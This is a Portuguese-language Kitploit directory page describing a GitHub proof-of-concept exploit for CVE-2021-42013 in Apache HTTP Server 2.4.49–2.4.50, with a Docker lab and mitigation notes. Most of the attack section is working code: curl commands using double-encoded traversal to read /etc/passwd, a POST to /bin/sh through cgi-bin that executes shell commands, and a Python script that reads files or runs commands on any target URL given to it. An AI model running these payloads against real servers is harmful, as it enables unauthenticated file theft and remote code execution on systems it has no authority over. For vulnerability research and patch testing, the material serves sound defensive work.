Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-42013 — Exploit de prova de conceito para a vulnerabilidade de path traversal e execução remota de código CVE-2021-42013 no Apache HTTP Server, com ambiente de laboratório baseado em Docker e script PoC em Python. | Kitploit
Ferramentas/GitHubGitHub/eunho87/cve-2021-42013
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Exploit de prova de conceito para a vulnerabilidade de path traversal e execução remota de código CVE-2021-42013 no Apache HTTP Server, com ambiente de laboratório baseado em Docker e script PoC em Python.

Ver Repositório
4há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-42013

Contribuidor

  • 석은호@eunho87

CVE-2021-42013 Apache http Server Path Traversal

Resumo da Vulnerabilidade

É um bug no processamento de normalização de caminho do Apache HTTP Server 2.4.50 que permite ler arquivos arbitrários ou executar código remoto sem autenticação.

Ocorreu devido a uma correção incompleta do CVE-2021-41773 e contorna a proteção de caminho do Apache através de dupla codificação URL (%%32%65).

Referências

  • NVD - CVE-2021-42013
  • Apache Security Advisory

Condições para a Vulnerabilidade

Para que o CVE-2021-42013 funcione, as seguintes condições devem ser atendidas:

  1. Apache 2.4.49 a 2.4.50
  • A configuração da diretiva Directory no httpd.conf não é Required all denied
  • Módulo mod_cgi ativado (para RCE)

  • Configuração do Ambiente

    root@kitploit:~
    docker-compose up -d
    

    Para verificar se o ambiente de teste está em execução, execute o código abaixo:

    root@kitploit:~
    docker-compose ps
    

    Quando o servidor estiver em execução corretamente, você pode acessar http://localhost:8080.

    Reprodução da Vulnerabilidade

    Para subir para o diretório pai, usamos ../, mas o Apache bloqueou esses caracteres. Para contornar isso, podemos usar 2e, o valor codificado de ., no lugar. A versão 2.4.50 do Apache decodifica a codificação %2e e depois verifica, então usar %2e2e fará com que os caracteres sejam bloqueados como ../. Portanto, é necessário usar dupla codificação com %%32%65 para contornar essa filtragem.

    root@kitploit:~
    curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
    

    Em um ambiente com CGI habilitado, é possível obter RCE alterando a parte final para /bin/sh.

    root@kitploit:~
    curl -s --path-as-is -X POST \
      --data "echo Content-Type: text/plain; echo; id; uname -a" \
      "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
    


    Código PoC

    Python (poc.py)

    root@kitploit:~
    #!/usr/bin/env python3
    import sys
    import http.client
    from urllib.parse import urlparse
    
    def exploit(target_url, mode, arg):
        parsed = urlparse(target_url)
        host = parsed.hostname
        port = parsed.port or 80
        trav = "%%32%65%%32%65/" * 4
        
        if mode == "read":
            path = f"/static/{trav}{arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("GET", path)
        else:
            path = f"/cgi-bin/{trav}bin/sh"
            body = f"echo Content-Type: text/plain; echo; {arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
        
        result = conn.getresponse().read().decode("utf-8", "replace")
        conn.close()
        return result
    
    if __name__ == "__main__":
        if len(sys.argv) < 4:
            print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
            sys.exit(1)
        print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    Medidas de Mitigação

    • Atualizar para a versão Apache 2.4.51 ou superior
    • Manter Require all denied

    Limpeza

    root@kitploit:~
    docker-compose down
    

    Baixar ferramenta